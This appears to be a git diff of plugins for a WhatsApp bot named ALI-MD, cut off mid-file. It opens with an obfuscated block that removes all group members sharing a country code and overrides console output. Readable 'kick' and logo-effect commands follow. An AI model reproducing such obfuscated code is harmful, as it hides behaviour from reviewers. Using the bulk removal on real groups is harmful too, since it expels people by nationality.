_0x37a5b1[_0x5c41ee(-0x205,-0x243,-0x205,-0x232)](_0x3ceb81);}};if(_0x1ee973){if(_0x37a5b1[_0x34994e(-0x16d,-0x185,-0x143,-0x132)]!==_0x37a5b1[_0x34994e(-0x16d,-0x19a,-0x184,-0x176)]){const _0x1e93ac=_0x3c0129[_0x34994e(-0x168,-0x197,-0x182,-0x194)](_0x176f15,_0x3c0129[_0x34994e(-0x174,-0x17e,-0x199,-0x19b)](_0x3c0129[_0xf90ebc(0x259,0x259,0x275,0x283)](_0x3c0129[_0xf90ebc(0x220,0x22f,0x247,0x265)],_0x3c0129['TXNDv']),');'));_0x42921a=_0x3c0129[_0xf90ebc(0x209,0x241,0x26e,0x23a)](_0x1e93ac);}else{const _0x4e3a13=_0x1ee973[_0xf90ebc(0x218,0x209,0x236,0x231)](_0x2cb13a,arguments);return _0x1ee973=null,_0x4e3a13;}}}:function(){};_0x1b0667=![];function _0x40fe7d(_0x49d73c,_0x1197ea,_0x1220da,_0x3ee20f){return _0x360b47(_0x49d73c-0x114,_0x1220da,_0x1220da-0x14c,_0x49d73c- -0x523);}return _0x42dcdf;};}()),_0x36b30c=_0x3ee41e(this,function(){const _0xdda1a9={};_0xdda1a9['ZtTyv']=_0x58f476(-0x145,-0x159,-0x152,-0x189)+'+$';function _0x58f476(_0x3f1713,_0x42cc9e,_0x3f4b30,_0x5f07ca){return _0x36a9(_0x42cc9e- -0x26b,_0x5f07ca);}const _0x17cd5c=_0xdda1a9;function _0x1e6d0a(_0x1cf2d8,_0x248759,_0x599e83,_0x2fcdb4){return _0x36a9(_0x599e83-0x2ff,_0x2fcdb4);}return _0x36b30c['toString']()[_0x58f476(-0x18d,-0x173,-0x19b,-0x148)](_0x17cd5c[_0x58f476(-0x1da,-0x1b4,-0x1a9,-0x185)])[_0x1e6d0a(0x440,0x45d,0x422,0x414)]()[_0x1e6d0a(0x3d8,0x3ea,0x3ed,0x3dd)+'r'](_0x36b30c)[_0x58f476(-0x137,-0x173,-0x161,-0x1a8)](_0x17cd5c[_0x58f476(-0x190,-0x1b4,-0x1e0,-0x1cf)]);});_0x36b30c();const _0x3c533a=(function(){let _0x1edc75=!![];return function(_0x491689,_0x470f5e){const _0x7a5877=_0x1edc75?function(){function _0x163648(_0x470c84,_0xff6cd0,_0x271216,_0x2ef2f5){return _0x36a9(_0x2ef2f5-0x2cf,_0x271216);}if(_0x470f5e){const _0x110b7f=_0x470f5e[_0x163648(0x3c0,0x372,0x37c,0x39c)](_0x491689,arguments);return _0x470f5e=null,_0x110b7f;}}:function(){};return _0x1edc75=![],_0x7a5877;};}());function _0x1397b9(_0x4e2778,_0x59611b,_0x3e6ded,_0x4f6c58){return _0x36a9(_0x3e6ded- -0x79,_0x4f6c58);}const _0x3004b7=_0x3c533a(this,function(){const _0x18d855={'cWrXN':function(_0x10cbb8,_0x1e3935){return _0x10cbb8(_0x1e3935);},'qATvb':function(_0x5113fa,_0x89e725){return _0x5113fa+_0x89e725;},'dcxYg':'return\x20(fu'+'nction()\x20','tOzyO':_0x929185(-0x153,-0x15f,-0x142,-0x192)+_0x929185(-0x124,-0x14f,-0xfe,-0x128)+_0x929185(-0x142,-0x138,-0x15c,-0x142)+'\x20)','GQDAL':_0x4109c7(0x402,0x3e0,0x3f1,0x3d3),'iYktp':_0x929185(-0x10a,-0xce,-0x147,-0x12b),'rSWPw':_0x929185(-0x146,-0x148,-0x164,-0x11c),'pPKdO':'table','VORTu':_0x4109c7(0x44e,0x446,0x42a,0x477),'WjbVl':function(_0x214963,_0x19078a){return _0x214963<_0x19078a;},'oDrEk':function(_0xeee0c2,_0x40c2f9){return _0xeee0c2!==_0x40c2f9;},'FjmxB':_0x4109c7(0x442,0x419,0x46d,0x454),'TqYTs':_0x4109c7(0x3fd,0x40d,0x420,0x3ff)};let _0x29f2cb;try{const _0x400d08=_0x18d855[_0x929185(-0x13f,-0x11d,-0x173,-0x13a)](Function,_0x18d855[_0x4109c7(0x430,0x450,0x420,0x428)](_0x18d855['dcxYg']+_0x18d855[_0x4109c7(0x437,0x456,0x404,0x474)],');'));_0x29f2cb=_0x400d08();}catch(_0x2e24e7){_0x29f2cb=window;}const _0x34f13d=_0x29f2cb[_0x929185(-0x132,-0x13d,-0x138,-0x155)]=_0x29f2cb[_0x929185(-0x132,-0x151,-0x10f,-0x101)]||{};function _0x929185(_0x4f6b74,_0xddf10c,_0x2269ef,_0x45be44){return _0x36a9(_0x4f6b74- -0x215,_0x2269ef);}function _0x4109c7(_0x2b7b9e,_0x4c9c26,_0x392858,_0x3bf68e){return _0x36a9(_0x2b7b9e-0x334,_0x4c9c26);}const _0x583c76=[_0x18d855[_0x4109c7(0x40f,0x415,0x420,0x3e2)],_0x18d855[_0x929185(-0x126,-0x15c,-0x160,-0x10f)],_0x4109c7(0x43c,0x428,0x439,0x46d),_0x18d855['rSWPw'],_0x4109c7(0x41a,0x436,0x3e1,0x434),_0x18d855['pPKdO'],_0x18d855[_0x929185(-0xe3,-0x10c,-0xca,-0xbb)]];for(let _0x302641=-0x2232*0x1+0xa*0x38b+-0x13c;_0x18d855[_0x929185(-0x144,-0x168,-0x17f,-0x171)](_0x302641,_0x583c76['length']);_0x302641++){if(_0x18d855[_0x929185(-0x15a,-0x11b,-0x11d,-0x15a)](_0x18d855['FjmxB'],_0x18d855[_0x4109c7(0x45b,0x495,0x450,0x455)])){const _0x3d7bb5=_0x3c533a['constructo'+'r'][_0x4109c7(0x43a,0x451,0x43e,0x419)][_0x4109c7(0x42e,0x458,0x3ff,0x428)](_0x3c533a),_0x1b2462=_0x583c76[_0x302641],_0x2450d4=_0x34f13d[_0x1b2462]||_0x3d7bb5;_0x3d7bb5[_0x929185(-0xf7,-0xd9,-0x106,-0xcb)]=_0x3c533a['bind'](_0x3c533a),_0x3d7bb5[_0x4109c7(0x457,0x466,0x480,0x468)]=_0x2450d4[_0x929185(-0xf2,-0xfd,-0x11d,-0xc9)][_0x929185(-0x11b,-0x102,-0x104,-0x136)](_0x2450d4),_0x34f13d[_0x1b2462]=_0x3d7bb5;}else{const _0x18940a=_0x42a2f1['apply'](_0x29929b,arguments);return _0x4235b0=null,_0x18940a;}}});function _0x26ed(){const _0x13b3bc=['trace','map','6176950JMUECH','xnzeb','__proto__','return\x20(fu','igsKf','EVrFg','1179156nEYXan','toString','jKNsi','admin','ส€\x20แด„แด€ษด\x20แดœsแด‡\x20','TqYTs','RdsnF','dPPTC','\x20า“ส€แดแด\x20แด›สœแด‡\x20','ส€ส\x20แด„แดแด…แด‡\x20+','3413016pypOJw','Removes\x20al','Out\x20comman','*แด˜สŸแด‡แด€sแด‡\x20แด˜ส€','startsWith','แด‡ส€s\x20า“แดแดœษดแด…\x20','VORTu','participan','ZtTyv','EUEGf','*ส€แด‡แดแดแด แด‡แด…\x20','msFUv','oDrEk','NuoPU','2070254BOpuBh','user','RHlFs','9581383KeFcyx','pAJMM','{}.constru','แดกษชแด›สœ\x20แด„แดแดœษดแด›','l\x20members\x20','HAHtM','tijpa','dMzer','hzcgh','oDkUT','๐Ÿฟ๐Ÿธ\x20า“แดส€\x20+๐Ÿฟ๐Ÿธ','LpfkW','pattern','apply','log','error','filename','WjbVl','RsKgC','rn\x20this\x22)(','split','trim','cWrXN','\x20แด„แดแดœษดแด›ส€ส\x20แด„','oShsB','filter','*๐Ÿ“›\x20แดษดสŸส\x20แด›สœ','GQDAL','ษดแด…!*','alias','ส\x20แด„แดแด…แด‡\x20+','fic\x20countr','แด‡\x20ส™แดแด›\x20แดแดกษดแด‡','\x20แดแด‡แดส™แด‡ส€s\x20แดก','โŒ\x20This\x20com','console','qNJQL','lSulx','exception','แดœษดแด›ส€ส\x20แด„แดแด…แด‡','ilorD','iXkVo','ror:\x20','length','*โŒ\x20ษชษดแด แด€สŸษชแด…','with\x20speci','constructo','iYktp','remove','ctor(\x22retu','2963478BJoJhZ','QubSl','.\x20แด‡xแด€แดแด˜สŸแด‡:','\x20.แดแดœแด›\x20๐Ÿฟ๐Ÿฝ๐Ÿธ*','y\x20code\x20fro','MRwOc','search','m\x20the\x20grou','bind','*๐Ÿ“›\x20ษช\x20ษดแด‡แด‡แด…\x20','qATvb','nly\x20be\x20use','DRCcb','d\x20in\x20group','แด›แด\x20ส™แด‡\x20แด€ษด\x20แด€','d\x20error:','nction()\x20','tOzyO','ษขส€แดแดœแด˜.โœ…*','ntnWc','prototype','nxTRO','info','แดแด€ษดแด…*','desc','warn','\x20ษดแดœแดส™แด‡ส€s*','แด›สœษชs\x20แด„แดแดแดแด€','NVrVe','*๐Ÿ“›\x20ษดแด\x20แดแด‡แดส™','ZHGpj','โŒ\x20Failed\x20t','(((.+)+)+)','Ixjqb','156411yhMQnB','UxkEz','embers.\x20Er','nufdT','o\x20remove\x20m','แด…แดษชษด\x20แด›แด\x20แดœs'];_0x26ed=function(){return _0x13b3bc;};return _0x26ed();}function _0x36a9(_0x36b30c,_0x3ee41e){const _0x26ed81=_0x26ed();return _0x36a9=function(_0x36a9bb,_0x1f4829){_0x36a9bb=_0x36a9bb-(0x1*0xecc+-0x12da*0x2+0x179e);let _0x56df81=_0x26ed81[_0x36a9bb];return _0x56df81;},_0x36a9(_0x36b30c,_0x3ee41e);}_0x3004b7();const {cmd}=require('../command'),_0x6b6985={};_0x6b6985[_0x1397b9(0x3b,0x29,0x53,0x6b)]='out',_0x6b6985[_0x1397b9(0x41,0x28,0x64,0x7c)]=['ck','๐Ÿฆถ'];function _0x25916a(_0x288076,_0x5827b6,_0x56c585,_0x1050bb){return _0x36a9(_0x288076- -0x1b1,_0x5827b6);}_0x6b6985[_0x1397b9(0xc5,0x98,0x91,0xbf)]=_0x25916a(-0x84,-0x5a,-0xa9,-0xb3)+_0x25916a(-0xed,-0xe1,-0xf1,-0xf6)+_0x1397b9(0x57,0xa6,0x74,0x6e)+_0x25916a(-0xd2,-0xea,-0x9e,-0x96)+_0x25916a(-0xbb,-0xcf,-0x94,-0xd3)+_0x25916a(-0xb8,-0xc0,-0xbc,-0xb8)+'p',_0x6b6985['category']=_0x25916a(-0x8c,-0xb9,-0xa7,-0x9b),_0x6b6985['react']='๐Ÿ’ฆ',_0x6b6985[_0x25916a(-0xe1,-0xba,-0xf2,-0xfd)]=__filename,cmd(_0x6b6985,async(_0x2a67a1,_0x47a4c5,_0x35b809,{from:_0xc237de,q:_0x36fe1c,isGroup:_0x163d4b,isBotAdmins:_0x17e8b8,reply:_0x264073,groupMetadata:_0x3e266f,senderNumber:_0x1e237d})=>{const _0x2092aa={'lSulx':function(_0x5f2952,_0x5edf07){return _0x5f2952(_0x5edf07);},'NuoPU':_0x3afef4(-0x1da,-0x1bd,-0x1a4,-0x180)+'mand\x20can\x20o'+_0x2c5455(-0x2a2,-0x2ad,-0x278,-0x2b6)+_0x2c5455(-0x2a0,-0x2b8,-0x266,-0x2a3)+'s.','EUEGf':function(_0xa3ddb0,_0x584a31){return _0xa3ddb0!==_0x584a31;},'oShsB':_0x2c5455(-0x2d4,-0x2e1,-0x2df,-0x305),'ZHGpj':_0x3afef4(-0x195,-0x18a,-0x173,-0x1c3),'ilorD':_0x3afef4(-0x1cc,-0x1c5,-0x1b2,-0x1a4)+'แด‡\x20ส™แดแด›\x20แดแดกษดแด‡'+_0x3afef4(-0x140,-0x179,-0x1a9,-0x17c)+'แด›สœษชs\x20แด„แดแดแดแด€'+'ษดแด…!*','HAHtM':function(_0x9b2ad8,_0x18c288){return _0x9b2ad8(_0x18c288);},'nxTRO':_0x3afef4(-0x1af,-0x1a4,-0x1c8,-0x1a3)+_0x2c5455(-0x29f,-0x2b6,-0x27f,-0x26b)+_0x2c5455(-0x286,-0x28c,-0x247,-0x260)+'แด‡\x20แด›สœษชs\x20แด„แดแด'+_0x2c5455(-0x296,-0x2cf,-0x264,-0x276),'QWMAO':_0x2c5455(-0x270,-0x2a3,-0x244,-0x290)+'แดแด ษชแด…แด‡\x20แด€\x20แด„แด'+_0x2c5455(-0x2b8,-0x2a0,-0x283,-0x2ec)+_0x3afef4(-0x1cc,-0x1ab,-0x1b5,-0x1a1)+_0x2c5455(-0x2aa,-0x271,-0x279,-0x2d5),'tijpa':function(_0x2c4c23,_0x4e168b){return _0x2c4c23(_0x4e168b);},'iXkVo':_0x3afef4(-0x18d,-0x1b3,-0x1c4,-0x175)+_0x2c5455(-0x2c8,-0x2b5,-0x2ac,-0x2e7)+'แดแด…แด‡.\x20แด˜สŸแด‡แด€s'+'แด‡\x20แด˜ส€แดแด ษชแด…แด‡\x20'+'แดษดสŸส\x20ษดแดœแดส™แด‡'+'ส€s\x20(แด‡.ษข.,\x20'+_0x3afef4(-0x1b7,-0x1d5,-0x1d5,-0x1bf)+_0x3afef4(-0x1b3,-0x193,-0x1bf,-0x182),'igsKf':function(_0x44f2a0,_0x32bf4a){return _0x44f2a0===_0x32bf4a;},'qNJQL':function(_0x42c9dc,_0x1760b0){return _0x42c9dc===_0x1760b0;},'msFUv':_0x3afef4(-0x160,-0x188,-0x18f,-0x171),'RHlFs':_0x2c5455(-0x2a8,-0x28f,-0x2dc,-0x2db),'Ixjqb':_0x3afef4(-0x1be,-0x1af,-0x1b4,-0x1d4),'RFlfb':function(_0x2c94d6,_0x121bf7){return _0x2c94d6(_0x121bf7);},'RsKgC':_0x3afef4(-0x16a,-0x171,-0x1a8,-0x14e)+_0x3afef4(-0x1b6,-0x19e,-0x198,-0x1d4),'oEOTX':_0x3afef4(-0x154,-0x18e,-0x1b6,-0x1c0)+_0x2c5455(-0x287,-0x2a7,-0x2bc,-0x2c1)+_0x3afef4(-0x17f,-0x189,-0x182,-0x194)+_0x2c5455(-0x2b5,-0x283,-0x27c,-0x2b2)};if(!_0x163d4b)return _0x2092aa['lSulx'](_0x264073,_0x2092aa[_0x3afef4(-0x1e7,-0x1e3,-0x202,-0x1ab)]);const _0x103e6c=_0x2a67a1[_0x2c5455(-0x2e1,-0x2fa,-0x311,-0x2fb)]['id'][_0x3afef4(-0x1a1,-0x1cb,-0x1fb,-0x1f6)](':')[0x1ef4+-0xc60+-0x1294];if(_0x2092aa[_0x3afef4(-0x205,-0x1e7,-0x209,-0x20e)](_0x1e237d,_0x103e6c)){if(_0x2092aa[_0x2c5455(-0x2e7,-0x2d4,-0x317,-0x2bb)](_0x2092aa[_0x2c5455(-0x2c7,-0x300,-0x2d4,-0x2a7)],_0x2092aa[_0x3afef4(-0x1c6,-0x18f,-0x162,-0x191)]))return _0x2092aa[_0x3afef4(-0x1e5,-0x1ba,-0x183,-0x19f)](_0x264073,_0x2092aa[_0x2c5455(-0x2b7,-0x2a2,-0x29c,-0x27a)]);else _0x19d207=_0x3505ad;}function _0x2c5455(_0x423914,_0x296f05,_0xebad69,_0x583a99){return _0x25916a(_0x423914- -0x1ee,_0x296f05,_0xebad69-0x1cc,_0x583a99-0x148);}if(!_0x17e8b8)return _0x2092aa[_0x2c5455(-0x2da,-0x2ca,-0x2bb,-0x2a8)](_0x264073,_0x2092aa[_0x3afef4(-0x18d,-0x198,-0x16f,-0x193)]);function _0x3afef4(_0x2c2d86,_0x57940c,_0x5bd63a,_0x41deed){return _0x25916a(_0x57940c- -0xee,_0x2c2d86,_0x5bd63a-0x1d6,_0x41deed-0x1a0);}if(!_0x36fe1c)return _0x2092aa[_0x3afef4(-0x20d,-0x1da,-0x211,-0x19d)](_0x264073,_0x2092aa['QWMAO']);const _0x52ba92=_0x36fe1c[_0x2c5455(-0x2ca,-0x2cb,-0x2a2,-0x2f7)]();if(!/^\d+$/['test'](_0x52ba92))return _0x2092aa['tijpa'](_0x264073,_0x2092aa[_0x2c5455(-0x2b6,-0x288,-0x287,-0x288)]);try{const _0x14e562=await _0x3e266f[_0x2c5455(-0x2e9,-0x2c9,-0x2ae,-0x2de)+'ts'],_0x208890=_0x14e562[_0x2c5455(-0x2c6,-0x295,-0x2f7,-0x2a4)](_0x461285=>_0x461285['id'][_0x3afef4(-0x179,-0x16f,-0x167,-0x144)](_0x52ba92)&&!_0x461285[_0x2c5455(-0x27a,-0x2b6,-0x271,-0x24d)]);if(_0x2092aa[_0x3afef4(-0x14a,-0x17f,-0x196,-0x195)](_0x208890['length'],-0xb*-0x342+0x24c3+-0x4899))return _0x2092aa[_0x2c5455(-0x2bb,-0x2a7,-0x2b2,-0x28d)](_0x2092aa[_0x3afef4(-0x1b9,-0x1e5,-0x1db,-0x1d5)],_0x2092aa[_0x3afef4(-0x200,-0x1e0,-0x1c6,-0x209)])?_0x2092aa[_0x2c5455(-0x2ba,-0x27d,-0x28c,-0x2a1)](_0x5ae813,'*๐Ÿ“›\x20แดษดสŸส\x20แด›สœ'+_0x3afef4(-0x1e8,-0x1bf,-0x1ae,-0x199)+_0x3afef4(-0x154,-0x179,-0x1b6,-0x175)+_0x2c5455(-0x292,-0x2c1,-0x2a4,-0x298)+_0x3afef4(-0x1fd,-0x1c3,-0x1c4,-0x1c2)):_0x264073(_0x3afef4(-0x1a5,-0x190,-0x1b2,-0x163)+_0x3afef4(-0x14b,-0x16e,-0x1a7,-0x19f)+_0x2c5455(-0x2dc,-0x2d8,-0x2fc,-0x2bd)+_0x3afef4(-0x141,-0x174,-0x172,-0x199)+_0x52ba92+'*');const _0x1b3882=_0x208890[_0x3afef4(-0x1a6,-0x184,-0x154,-0x15d)](_0xf42c62=>_0xf42c62['id']);await _0x2a67a1['groupParti'+'cipantsUpd'+'ate'](_0xc237de,_0x1b3882,_0x2092aa[_0x3afef4(-0x182,-0x18c,-0x150,-0x171)]),_0x2092aa['RFlfb'](_0x264073,_0x3afef4(-0x1e5,-0x1e6,-0x222,-0x20c)+_0x208890[_0x3afef4(-0x1e1,-0x1b4,-0x18a,-0x1f1)]+(_0x2c5455(-0x2be,-0x2f4,-0x28d,-0x2b8)+'ษชแด›สœ\x20แด„แดแดœษดแด›ส€'+_0x2c5455(-0x2c1,-0x2b0,-0x2a5,-0x28f))+_0x52ba92+(_0x2c5455(-0x275,-0x28d,-0x281,-0x26f)+_0x2c5455(-0x29b,-0x2cb,-0x29f,-0x2ba)));}catch(_0x4060e9){console['error'](_0x2092aa[_0x3afef4(-0x1e8,-0x1cd,-0x1ec,-0x1ca)],_0x4060e9),_0x2092aa[_0x2c5455(-0x2d9,-0x315,-0x2ac,-0x2f3)](_0x264073,_0x2092aa['oEOTX']+_0x4060e9['message']);}}); diff --git a/plugins/kick.js b/plugins/kick.js new file mode 100644 index 0000000000000000000000000000000000000000..b84e109764a8fe0215487d6083bde31e97fe32b7 --- /dev/null +++ b/plugins/kick.js @@ -0,0 +1,57 @@ +const config = require('../config'); +const { cmd } = require('../command'); + +cmd({ + pattern: "kick", + alias: ["k", "๐Ÿ’€"], + desc: "Removes a participant by replying to or mentioning their message. (Admins can also be kicked)", + react: "๐Ÿšช", + category: "group", + filename: __filename, +}, async (conn, mek, m, { + from, + quoted, + isGroup, + isAdmins, + isOwner, + participants, + isBotAdmins, + reply +}) => { + try { + // Check if the command is used in a group + if (!isGroup) return reply("โŒ This command can only be used in groups."); + // Only admins or the owner can use this command + if (!isAdmins && !isOwner) return reply("*๐Ÿ“› ฯƒษดโ„“ส gส€ฯƒแดœแด˜ ฮฑโˆ‚ะผฮนษดs ฯƒส€ ั‚ะฝั” ฯƒฯ‰ษดั”ส€ แด„ฮฑษด แดœsั” ั‚ะฝฮนั• แด„ฯƒะผะผฮฑษดโˆ‚.*"); + // Check if the bot has admin privileges + if (!isBotAdmins) return reply("*๐Ÿ“› ฮน ษดั”ั”โˆ‚ ั‚ฯƒ ะฒั” ฮฑษด ฮฑโˆ‚ะผฮนษด ั‚ฯƒ ะบฮนยขะบ ะผั”ะผะฒั”ส€s.*"); + + // Determine the target user using reply or mention + let target; + if (m.quoted) { + target = m.quoted.sender; + } else if (m.mentionedJid && m.mentionedJid.length > 0) { + target = m.mentionedJid[0]; + } else if (m.msg && m.msg.contextInfo && m.msg.contextInfo.mentionedJid && m.msg.contextInfo.mentionedJid.length > 0) { + target = m.msg.contextInfo.mentionedJid[0]; + } + + if (!target) { + return reply("โŒ Please mention or reply to the message of the participant to remove."); + } + + // Remove the participant from the group (admins can also be kicked) + await conn.groupParticipantsUpdate(from, [target], "remove") + .catch(err => { + console.error(`โš ๏ธ Failed to remove ${target}:`, err); + return reply("โŒ An error occurred while trying to remove the participant."); + }); + + // Extraire le tag ร  partir du JID (ex: "1234567890" sans "@s.whatsapp.net") + const tag = target.split('@')[0]; + reply(`*@${tag} ะบฮนยขะบั”โˆ‚ ั•แดœแด„แด„ั”ั•ั•fแดœโ„“โ„“ัƒ!*`, { mentions: [target] }); + } catch (error) { + console.error('Error while executing kick:', error); + reply('โŒ An error occurred while executing the command.'); + } +}); diff --git a/plugins/logo-menu.js b/plugins/logo-menu.js new file mode 100644 index 0000000000000000000000000000000000000000..3d7fb1f1c5c278b7feb2f6adb72f1aff0038931f --- /dev/null +++ b/plugins/logo-menu.js @@ -0,0 +1,72 @@ +const axios = require("axios"); +const { cmd } = require("../command"); + + +cmd({ + pattern: "logo", + alias: ["logomenu"], + desc: "menu the bot", + category: "menu", + react: "๐ŸŽ€", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + let dec = `*โ•ญโ”€โ”€โ”€โใ€Œ LOGO ๐–ซ๐–จ๐–ฒ๐–ณ ใ€โ* +โ€Ž*โ”œโฌก .ษดแด‡แดษดสŸษชษขสœแด›* +โ€Ž*โ”œโฌก .ส™สŸแด€แด„แด‹แด˜ษชษดแด‹* +โ€Ž*โ”œโฌก .แด…ส€แด€ษขแดษดส™แด€สŸสŸ* +โ€Ž*โ”œโฌก .๐Ÿนแด…แด„แดแดษชแด„* +โ€Ž*โ”œโฌก .แด€แดแด‡ส€ษชแด„แด€* +โ€Ž*โ”œโฌก .ษดแด€ส€แดœแด›แด* +โ€Ž*โ”œโฌก .sแด€แด…ษขษชส€สŸ* +โ€Ž*โ”œโฌก .แด„สŸแดแดœแด…s* +โ€Ž*โ”œโฌก .า“แดœแด›แดœส€ษชsแด›ษชแด„* +โ€Ž*โ”œโฌก .๐Ÿนแด…แด˜แด€แด˜แด‡ส€* +โ€Ž*โ”œโฌก .แด‡ส€แด€sแด‡ส€* +โ€Ž*โ”œโฌก .sแดœษดsแด‡แด›* +โ€Ž*โ”œโฌก .สŸแด‡แด€า“* +โ€Ž*โ”œโฌก .ษขแด€สŸแด€xส* +โ€Ž*โ”œโฌก .sแด€ษดs* +โ€Ž*โ”œโฌก .ส™แดแดแด* +โ€Ž*โ”œโฌก .สœแด€แด„แด‹แด‡ส€* +โ€Ž*โ”œโฌก .แด…แด‡แด ษชสŸแดกษชษดษขs* +โ€Ž*โ”œโฌก .ษดษชษขแด‡ส€ษชแด€* +โ€Ž*โ”œโฌก .ส™แดœสŸส™* +โ€Ž*โ”œโฌก .แด€ษดษขแด‡สŸแดกษชษดษขs* +โ€Ž*โ”œโฌก .แดขแดแด…ษชแด€แด„* +โ€Ž*โ”œโฌก .สŸแดœxแดœส€ส* +โ€Ž*โ”œโฌก .แด˜แด€ษชษดแด›* +โ€Ž*โ”œโฌก .า“ส€แดแดขแด‡ษด* +โ€Ž*โ”œโฌก .แด„แด€sแด›สŸแด‡* +โ€Ž*โ”œโฌก .แด›แด€แด›แดแด* +โ€Ž*โ”œโฌก .แด แด€สŸแดส€แด€ษดแด›* +โ€Ž*โ”œโฌก .ส™แด‡แด€ส€* +โ€Ž*โ”œโฌก .แด›สแด˜แดษขส€แด€แด˜สœส* +โ€Ž*โ”œโฌก .ส™ษชส€แด›สœแด…แด€ส* +โ€Ž*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ*`; + + await conn.sendMessage( + from, + { + image: { url: `https://cdn.ironman.my.id/i/m8r9ux.jpg` }, + caption: dec, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: "๐€ษญฤซฤซ ๐ŒฦŠ ๐’สŠฬŠ๐๐เนแึŸษผสˆโŽฏ๊ฏญฬฝ๐Ÿชผ๐Ÿงธโ‚Š", + serverMessageId: 143 + } + } + }, + { quoted: mek } + ); + + } catch (e) { + console.log(e); + reply(`${e}`); + } +}); diff --git a/plugins/logo.js b/plugins/logo.js new file mode 100644 index 0000000000000000000000000000000000000000..28701d3844ee283a564ee723f4be57b643485e31 --- /dev/null +++ b/plugins/logo.js @@ -0,0 +1,1302 @@ +//--------------------------------------------- +// ALI-MD +//--------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------- +const { cmd, commands } = require('../command'); +const axios = require('axios'); +const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, sleep, fetchJson } = require('../lib/functions2'); + +cmd({ + pattern: "3dcomic", + desc: "Create a 3D Comic-style text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: 3dcomic Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-online-3d-comic-style-text-effects-817.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "dragonball", + desc: "Create a 3D Comic-style text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: 3dcomic Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-dragon-ball-style-text-effects-online-809.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "deadpool", + desc: "Create a deadpool text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: 3dcomic Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-text-effects-in-the-style-of-the-deadpool-logo-818.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "blackpink", + desc: "Create a blackpink text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: 3dcomic Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-a-blackpink-style-logo-with-members-signatures-810.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "neonlight", + desc: "Create a neon light text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: neonlight Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-colorful-neon-light-text-effects-online-797.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "cat", + desc: "Create a cat text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: cat Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/handwritten-text-on-foggy-glass-online-680.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error 